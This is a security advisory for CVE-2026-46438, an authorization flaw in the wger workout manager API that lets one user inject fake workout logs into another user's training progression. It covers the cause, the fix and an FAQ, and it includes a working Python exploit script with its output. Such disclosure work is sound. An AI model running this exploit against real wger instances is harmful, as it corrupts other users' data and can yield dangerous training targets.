CVE-2026-46438: wger: Cross-User Data Corruption via Missing Ownership Check on WorkoutLog.slot_entry
Summary
An authenticated attacker can inject arbitrary workout log entries into any other user's SlotEntry by supplying the victim's slotentry ID in a POST /api/v2/workoutlog/ request. The slotentry foreign key is not included in the ownership verification performed by WorkoutLogViewSet.getownerobjects(), so the server accepts and persists the cross-user reference without error.
Because SlotEntry.getconfigdata() retrieves associated logs via self.workoutlogset.all() with no user filter, the attacker's injected data is silently folded into the victim's progressive-overload calculations, corrupting their auto-generated weight and repetition targets.
Details
wger uses a centralized ownership-verification pattern in WgerOwnerObjectModelViewSet.create() (file: wger/utils/viewsets.py). This method iterates over the list returned by each ViewSet's getownerobjects() and verifies that every listed foreign-key value in the request belongs to the authenticated user. Foreign keys not present in the list are never checked.
WorkoutLogViewSet.getownerobjects() returns:
python File: wger/manager/api/views.py, lines 312-316 def getownerobjects(self): return [(Routine, 'routine'), (WorkoutSession, 'session')] # ^^^^^^^ checked ^^^^^^^^^^^^^^^ checked # (SlotEntry, 'slotentry') is MISSING
Because slotentry is omitted, an attacker can supply their own routine (which passes the ownership check) alongside a victim's slotentry ID (which is never verified).
The second contributing factor is in SlotEntry.getconfigdata():
python File: wger/manager/models/slotentry.py, line 367 logs = list(self.workoutlogset.all()) # no .filter(user=...)
This reverse-relation query returns all WorkoutLog rows linked to the SlotEntry, regardless of which user created them. The attacker's injected entries are therefore included in the victim's progression calculations.
PoC
Prerequisites
- Two authenticated user accounts (attacker and victim) - The attacker knows (or can enumerate) the victim's SlotEntry ID - The attacker has at least one Routine of their own (to satisfy the routine ownership check)
Attack Steps
POST /api/v2/workoutlog/ Authorization: Token <attackertoken> Content-Type: application/json
{ "routine": <attackerroutineid>, "slotentry": <victimslotentryid>, "exercise": <anyvalidexerciseid>, "repetitions": 999, "weight": 999, "repetitionsunit": 1, "weightunit": 1, "date": "2025-01-15", "iteration": 1 }
Expected: HTTP 403 (the slotentry belongs to another user) Actual: HTTP 201 (the log is created and linked to the victim's SlotEntry)
Proof of Concept Script
python #!/usr/bin/env python3 """ PoC: Cross-User Data Corruption via WorkoutLog.slotentry IDOR Target: wger Workout Manager Severity: CRITICAL - CVSS 7.1 CWE-639: Authorization Bypass Through User-Controlled Key
Usage: python3 poc.py http://localhost:8000 """
import requests import sys import json from datetime import date, timedelta
if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <BASEURL>") print(f"Example: {sys.argv[0]} http://localhost:8000") sys.exit(1)
BASE = sys.argv[1].rstrip("/") API = f"{BASE}/api/v2"
VICTIMUSER = "admin" VICTIMPASS = "adminadmin" ATTACKERUSER = "attackeridorpoc" ATTACKERPASS = "Attacker!Poc!2025"
BANNER = """ ===================================================================== PoC: Cross-User Data Corruption via WorkoutLog.slotentry IDOR Severity: CRITICAL CWE-639: Authorization Bypass Through User-Controlled Key ===================================================================== """ print(BANNER)
---- Helper ---- def apilogin(username, password): r = requests.post(f"{API}/login/", json={ "username": username, "password": password }) if r.statuscode == 200: return r.json().get("token") return None
def apiheaders(token): return {"Authorization": f"Token {token}", "Content-Type": "application/json"}
---- 1. Authenticate both users ----
print("[1] Authenticating users...")
victimtoken = apilogin(VICTIMUSER, VICTIMPASS) if not victimtoken: print(f"[-] Cannot log in as victim ({VICTIMUSER}). Check credentials.") sys.exit(1) print(f" Victim ({VICTIMUSER}): token={victimtoken[:16]}...")
attackertoken = apilogin(ATTACKERUSER, ATTACKERPASS) if not attackertoken: print(f" Registering attacker account...") r = requests.post(f"{API}/register/", json={ "username": ATTACKERUSER, "password": ATTACKERPASS, }) if r.statuscode in (200, 201): attackertoken = r.json().get("token") if not attackertoken: attackertoken = apilogin(ATTACKERUSER, ATTACKERPASS) if not attackertoken: print(f"[-] Cannot create/login attacker. Response: {r.text[:200]}") sys.exit(1) print(f" Attacker ({ATTACKERUSER}): token={attackertoken[:16]}...")
---- 2. Create victim's routine chain ----
print("\n[2] Setting up victim's private routine chain...")
vh = apiheaders(victimtoken) today = str(date.today()) enddate = str(date.today() + timedelta(days=30))
r = requests.post(f"{API}/routine/", headers=vh, json={ "name": "Victim Private Routine", "start": today, "end": enddate }) victimroutineid = r.json()["id"] print(f" Routine id={victimroutineid}")
r = requests.post(f"{API}/day/", headers=vh, json={ "routine": victimroutineid, "order": 1, "name": "Push Day" }) victimdayid = r.json()["id"] print(f" Day id={victimdayid}")
r = requests.post(f"{API}/slot/", headers=vh, json={ "day": victimdayid, "order": 1 }) victimslotid = r.json()["id"] print(f" Slot id={victimslotid}")
r = requests.get(f"{API}/exercise/?limit=1&format=json", headers=vh) exerciseid = r.json()["results"][0]["id"]
r = requests.post(f"{API}/slot-entry/", headers=vh, json={ "slot": victimslotid, "exercise": exerciseid, "order": 1, "type": "normal" }) victimslotentryid = r.json()["id"] print(f" SlotEntry id={victimslotentryid} <-- TARGET")
---- 3. Create attacker's own routine ----
print("\n[3] Creating attacker's own routine...")
ah = apiheaders(attackertoken)
r = requests.post(f"{API}/routine/", headers=ah, json={ "name": "Attacker Routine", "start": today, "end": enddate }) attackerroutineid = r.json()["id"] print(f" Attacker routine id={attackerroutineid}")
---- 4. ATTACK ----
print(f"\n{'='65}") print(f" ATTACK: Injecting fake WorkoutLog into victim's SlotEntry") print(f"{'='65}")
payload = { "routine": attackerroutineid, "slotentry": victimslotentryid, "exercise": exerciseid, "repetitions": 999, "weight": 999, "repetitionsunit": 1, "weightunit": 1, "date": today, "iteration": 1, }
print(f"\n POST {API}/workoutlog/") print(f" routine = {attackerroutineid} (attacker's own -> passes check)") print(f" slotentry = {victimslotentryid} (VICTIM's -> NOT CHECKED)") print(f" weight = 999") print(f" reps = 999")
r = requests.post(f"{API}/workoutlog/", headers=ah, json=payload)
print(f"\n Response: HTTP {r.statuscode}")
if r.statuscode == 201: d = r.json() print(f" Created WorkoutLog id={d['id']}") print(f" slotentry = {d['slotentry']} <- VICTIM's SlotEntry!") print(f" routine = {d['routine']} <- attacker's routine") print(f" weight = {d['weight']}") print(f" reps = {d['repetitions']}") elif r.statuscode == 403: print(" Access denied - NOT vulnerable (patched)") sys.exit(0) else: print(f" Unexpected: {r.text[:300]}") sys.exit(1)
---- 5. VERIFY ----
print(f"\n{'='65}") print(f" VERIFICATION") print(f"{'='65}")
r = requests.get( f"{API}/routine/{victimroutineid}/date-sequence-display/", headers=vh, ) print(f"\n GET /api/v2/routine/{victimroutineid}/date-sequence-display/") print(f" (as victim - this endpoint consumes the injected logs)") print(f" HTTP {r.statuscode}")
if r.statuscode == 200: seq = r.json() print(f" Returned {len(seq)} day(s) of data") if seq: print(f" First entry (truncated):") print(f" {json.dumps(seq[0], indent=2)[:600]}")
r2 = requests.get(f"{API}/workoutlog/?format=json", headers=vh) victimlogs = r2.json().get("results", []) print(f"\n Victim's own /api/v2/workoutlog/ shows {len(victimlogs)} log(s)") print(f" (The injected log is owned by attacker, so it does NOT appear") print(f" in victim's list view - but it IS attached to victim's SlotEntry") print(f" and WILL corrupt victim's progression calculations.)")
print(""" +----------------------------------------------------------+ | VULNERABILITY CONFIRMED | | | | HTTP 201 accepted the cross-user slotentry reference. | | The attacker's fake log (weight=999, reps=999) is now | | linked to the victim's SlotEntry and will be included | | in getconfigdata() -> corrupting auto-progression. | +----------------------------------------------------------+ """)
Proof of Concept Output
===================================================================== PoC: Cross-User Data Corruption via WorkoutLog.slotentry IDOR Severity: CRITICAL CWE-639: Authorization Bypass Through User-Controlled Key =====================================================================
[1] Authenticating users... Victim (admin): token=7e34da0a3f3f00a4... Registering attacker account... Attacker (attackeridorpoc): token=8a70d2881b656c18...
[2] Setting up victim's private routine chain... Routine id=3 Day id=2 Slot id=2 SlotEntry id=2 <-- TARGET
[3] Creating attacker's own routine... Attacker routine id=4
================================================================= ATTACK: Injecting fake WorkoutLog into victim's SlotEntry =================================================================
POST http://localhost/api/v2/workoutlog/ routine = 4 (attacker's own -> passes check) slotentry = 2 (VICTIM's -> NOT CHECKED) weight = 999 reps = 999
Response: HTTP 201 Created WorkoutLog id=2 slotentry = 2 <- VICTIM's SlotEntry! routine = 4 <- attacker's routine weight = 999.00 reps = 999.00
================================================================= VERIFICATION =================================================================
GET /api/v2/routine/3/date-sequence-display/ (as victim - this endpoint consumes the injected logs) HTTP 200 Returned 31 day(s) of data
Victim's own /api/v2/workoutlog/ shows 0 log(s) (The injected log is owned by attacker, so it does NOT appear in victim's list view - but it IS attached to victim's SlotEntry and WILL corrupt victim's progression calculations.)
+----------------------------------------------------------+ | VULNERABILITY CONFIRMED | | | | HTTP 201 accepted the cross-user slotentry reference. | | The attacker's fake log (weight=999, reps=999) is now | | linked to the victim's SlotEntry and will be included | | in getconfigdata() -> corrupting auto-progression. | +----------------------------------------------------------+
Impact
1. Training Data Integrity: The progressive-overload engine (getconfigdata) uses injected fake values when computing the victim's next workout targets. An attacker setting weight=999 or repetitions=0 can produce dangerous or nonsensical training recommendations.
2. Silent Corruption: The victim receives no notification. Their training plan simply starts producing unexpected numbers.
3. Scalable Attack: Because only a slotentry ID is needed, an attacker can iterate over IDs and inject data into every user's training program with automated requests.
Fix
Primary Fix - Add slotentry to the ownership check
python File: wger/manager/api/views.py class WorkoutLogViewSet(WgerOwnerObjectModelViewSet): def getownerobjects(self): return [ (Routine, 'routine'), (WorkoutSession, 'session'), (SlotEntry, 'slotentry'), # ADD THIS ]
Defence-in-Depth - Filter logs by routine owner
python File: wger/manager/models/slotentry.py, line 367 logs = list(self.workoutlogset.filter( user=self.slot.day.routine.user ))
Other sources
wger is a free, open-source workout and fitness manager. Prior to version 2.6, an authenticated attacker can inject arbitrary workout log entries into any other user's SlotEntry by supplying the victim's slotentry ID in a POST /api/v2/workoutlog/ request. The slotentry foreign key is not included in the ownership verification performed by WorkoutLogViewSet.getownerobjects(), so the server accepts and persists the cross-user reference without error. Because SlotEntry.getconfigdata() retrieves associated logs via self.workoutlogset.all() with no user filter, the attacker's injected data is silently folded into the victim's progressive-overload calculations, corrupting their auto-generated weight and repetition targets. Version 2.6 contains a patch.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
wgerto a version that resolves this vulnerability.Fixed in 2.6 - Compensating control
As defense in depth, filter WorkoutLog records by the routine owner when retrieving logs for a SlotEntry, so logs created by another user are not included in progression calculations.
Event History
Frequently Asked Questions
Who can exploit this issue?
An authenticated attacker with the ability to send a POST request to /api/v2/workoutlog/ can exploit it. The attacker needs a victim's SlotEntry ID to submit as the slot_entry value.
What is the practical impact on an affected user?
The attacker can create workout log entries associated with another user's SlotEntry. Those entries are included in the victim's progressive-overload calculations, which can corrupt automatically generated weight and repetition targets.
Why does the cross-user reference succeed?
WorkoutLogViewSet.get_owner_objects() does not include the slot_entry foreign key in its ownership checks. As a result, the centralized create logic does not verify that the supplied SlotEntry belongs to the authenticated user.